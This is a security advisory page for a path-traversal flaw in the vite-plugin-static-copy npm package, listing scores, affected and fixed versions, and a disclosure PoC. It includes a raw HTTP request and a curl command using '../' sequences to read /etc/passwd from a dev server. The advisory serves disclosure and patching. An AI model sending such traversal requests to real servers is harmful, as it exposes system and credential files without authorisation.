6.0medium
vite-plugin-static-copy files not included in `src` are accessible with a crafted request
- Severity
- 6.0medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.60% (higher than 49% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-pp7p-q8fx-2968
Description
vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| sapphi-red vite-plugin-static-copy | >= 3.0.0, < 3.1.2, >= 0.4.3, < 2.3.2 | CVE List |
| vite-plugin-static-copy (npm) | from 3.0.0 before 3.1.2, from 0.4.3 before 2.3.2 | GitHub Advisory Database |
All scores
| GitHub_M | 6.0medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.
GitHub Advisory Database
Summary
Files not included in src was possible to access with a crafted request.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Arbitrary files can be disclosed by exploiting this vulnerability.
Details
Consider the following configuration in used by vite.config.ts:
import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'
export default defineConfig({
plugins: [
viteStaticCopy({
targets: [
{
src: "./public/images",
dest: "./",
},
],
}),
],
});
The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.
PoC
I've attached a demo app to showcase the bug.
Run it with npm run dev and issue the following HTTP request
GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2
OR
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: localhost:3001' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3001/static/images/../../../../../../../etc/passwd'
Observe that the /etc/passwd file is included in the response.
NVD (es)
vite-plugin-static-copy es rollup-plugin-copy para Vite compatible con el servidor de desarrollo. Se puede acceder a los archivos no incluidos en el archivo src mediante una solicitud específica. La vulnerabilidad se corrigió en las versiones 2.3.2 y 3.1.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-57753 changed 2025-08-21 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-pp7p-q8fx-2968 changed 2025-08-21 | CC-BY-4.0 |
| NVD | CVE-2025-57753 changed 2026-06-17 | Public domain |